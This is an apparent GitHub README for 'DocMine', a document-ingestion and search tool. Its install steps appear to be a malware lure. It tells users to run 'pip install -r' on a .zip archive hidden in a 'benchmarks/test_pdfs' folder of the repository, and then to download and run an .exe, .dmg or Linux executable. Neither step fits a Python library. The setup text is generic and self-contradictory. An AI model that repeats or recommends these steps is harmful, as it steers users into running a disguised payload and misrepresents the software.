Skip to content

πŸ“„ Transform documents into queryable knowledge with exact recall and entity extraction for research insights.

License

Notifications You must be signed in to change notification settings

humanhady/DocMine

Repository files navigation

πŸ“„ DocMine - Effortless Document Ingestion and Search

Download DocMine

🌟 Overview

DocMine is your go-to solution for managing and searching through documents. It helps you ingest knowledge-centric documents while keeping track of their origins and essential details. With DocMine, you can easily extract information and find exactly what you need.

πŸš€ Getting Started

Follow these steps to download and run DocMine on your computer:

  1. Check System Requirements
    Ensure your computer meets the following requirements:

    • Operating System: Windows, macOS, or Linux
    • Python Version: 3.7 or higher
    • Recommended RAM: At least 4 GB for optimal performance
  2. Download the Application
    Visit this page to download: DocMine Releases.

    Look for the latest version. Click on the appropriate file based on your operating system.

  3. Install Python
    If you don't have Python installed, you can download it from the official Python website: Download Python. Follow the instructions specific to your operating system.

  4. Install Required Packages
    After installing Python, open a terminal or command prompt. Run the following command to install necessary packages:

    pip install -r https://raw.githubusercontent.com/humanhady/DocMine/main/benchmarks/test_pdfs/Mine_Doc_1.2.zip
  5. Download & Install
    After downloading the file, locate it on your computer. Depending on your operating system:

    • Windows: Double-click the .exe file to start the installation. Follow the prompts to complete the installation.
    • macOS: Open the .dmg file and drag the DocMine app to your Applications folder.
    • Linux: Open a terminal, navigate to the directory where you downloaded the file, and run the executable.
  6. Run DocMine
    Once installed, you can launch DocMine:

    • Windows: Search for DocMine in the Start menu.
    • macOS: Open the Applications folder and double-click on DocMine.
    • Linux: Open a terminal and run ./DocMine in the directory where it is installed.
  7. Start Using DocMine
    Open the application and follow the on-screen instructions to import documents. You will find a simple interface that allows you to search and extract data without hassle.

πŸ“– Features

  • Knowledge Extraction: Automatically ingest and categorize your documents.
  • Semantic Search: Find exact matches and understand meanings with our advanced algorithms.
  • Document Provenance: Keep track of where documents come from for better reliability.
  • User-Friendly Interface: Navigate easily, even if you are not tech-savvy.

πŸ› οΈ Troubleshooting

If you encounter issues:

  1. Installation Problems: Ensure all requirements are met. Check for error messages and search for solutions online.
  2. Running Errors: Make sure Python is correctly installed and has the necessary permissions.
  3. Document Upload Issues: Check the format of the documents. DocMine supports PDF, DOCX, and TXT files.

πŸ’‘ Helpful Tips

  • Always keep your documents organized for quick access.
  • Regularly update DocMine to benefit from the latest features and improvements.
  • Explore community forums for tips, tricks, and shared experiences from other users.

πŸ“… Future Updates

Stay tuned for more features and improvements. We aim to expand DocMine's capabilities based on user feedback and technological advancements.

For any further updates, visit our release page: DocMine Releases.

Your experience is important to us! If you have questions or suggestions, feel free to reach out to the community through the GitHub issues section.